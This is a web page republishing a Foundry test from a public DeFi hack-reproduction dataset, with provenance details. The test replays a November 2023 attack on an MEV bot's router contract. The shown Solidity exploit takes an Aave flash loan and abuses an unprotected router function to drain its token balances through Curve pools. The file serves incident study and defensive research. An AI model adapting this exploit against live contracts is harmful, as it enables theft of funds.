Skip to content
THREATWIRE

Public reproduction file

src/test/2023-11/bot_exp.sol

Public reproduction file for dataset entry MEVbot.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-11/bot_exp.sol122 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$2M
8// Attacker : https://etherscan.io/address/0x46d9b3dfbc163465ca9e306487cba60bc438f5a2
9// Attack Contract : https://etherscan.io/address/0xeadf72fd4733665854c76926f4473389ff1b78b1
10// Vuln Contract : https://etherscan.io/address/0x05f016765c6c601fd05a10dba1abe21a04f924a5
11// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xbc08860cd0a08289c41033bdc84b2bb2b0c54a51ceae59620ed9904384287a38
13// @Analysis
14// https://twitter.com/BlockSecTeam/status/1722101942061601052
15interface ISmartVaultManagerV2 {
16 function mint() external;
17 function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external;
20interface ICurve {
21 function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy) external;
24interface ISwapFlashLoan {
25 function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;
28contract ContractTest is Test {
29 IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
30 address router = 0x05f016765c6C601fd05a10dBa1AbE21a04F924A5;
31 IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
32 IERC20 wbtc = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
33 IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
34 IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
35 ICurve firstCrvPool = ICurve(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
36 ICurve secondCrvPool = ICurve(0xD51a44d3FaE010294C616388b506AcdA1bfAAE46);
37 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
39 struct ExactInputSingleParams {
40 address tokenIn;
41 address tokenOut;
42 address recipient;
43 uint256 deadline;
44 uint256 amountIn;
45 uint256 amountOutMinimum;
46 uint160 limitSqrtPrice;
47 }
49 function setUp() public {
50 vm.createSelectFork("mainnet", 18_523_344 - 1);
51 cheats.label(address(weth), "WETH");
52 cheats.label(address(secondCrvPool), "Curve.fi: USDT/WBTC/WETH Pool");
53 }
55 function testExpolit() public {
56 emit log_named_decimal_uint("attacker balance before attack", weth.balanceOf(address(this)), weth.decimals());
58 aave.flashLoanSimple(address(this), address(weth), 27_255_000_000_000_000_000_000, new bytes(1), 0);
59 emit log_named_decimal_uint("attacker balance after attack", weth.balanceOf(address(this)), weth.decimals());
60 }
62 function executeOperation(
63 address asset,
64 uint256 amount,
65 uint256 premium,
66 address initator,
67 bytes calldata params
68 ) external payable returns (bool) {
69 weth.approve(address(aave), type(uint256).max);
70 bytes4 vulnFunctionSignature = hex"f6ebebbb";
71 bytes memory data = abi.encodeWithSelector(
72 vulnFunctionSignature,
73 usdc.balanceOf(address(router)),
74 0,
75 address(usdc),
76 address(usdt),
77 address(firstCrvPool),
78 0,
79 0
80 );
81 (bool success, bytes memory result) = address(router).call(data);
82 data = abi.encodeWithSelector(
83 vulnFunctionSignature,
84 usdt.balanceOf(address(router)),
85 0,
86 address(usdt),
87 address(weth),
88 address(secondCrvPool),
89 0,
90 0
91 );
92 (success, result) = address(router).call(data);
93 data = abi.encodeWithSelector(
94 vulnFunctionSignature,
95 wbtc.balanceOf(address(router)),
96 0,
97 address(wbtc),
98 address(weth),
99 address(secondCrvPool),
100 0,
101 0
102 );
103 (success, result) = address(router).call(data);
105 weth.approve(address(secondCrvPool), type(uint256).max);
106 secondCrvPool.exchange(2, 1, weth.balanceOf(address(this)), 0);
107 data = abi.encodeWithSelector(
108 vulnFunctionSignature,
109 weth.balanceOf(address(router)),
110 0,
111 address(weth),
112 address(wbtc),
113 address(secondCrvPool),
114 0,
115 0
116 );
117 (success, result) = address(router).call(data);
118 wbtc.approve(address(secondCrvPool), type(uint256).max);
119 secondCrvPool.exchange(1, 2, wbtc.balanceOf(address(this)), 0);
120 return true;
121 }

Analysis

Dataset entry

Public Foundry test for “MEVbot” (2023-11-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x46d9b3dfbc163465ca9e306487cba60bc438f5a2

  • Attack Contract

    0xeadf72fd4733665854c76926f4473389ff1b78b1

  • Attack Tx

    0xbc08860cd0a08289c41033bdc84b2bb2b0c54a51ceae59620ed9904384287a38

File record

Name
MEVbot
Path
src/test/2023-11/bot_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
6bc3e377cacb86d59294f3804b21aff61a293024
Language
Solidity
Size
123 lines
Date
2023-11-07
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-11/bot_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6bc3e377cacb86d59294f3804b21aff61a293024, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.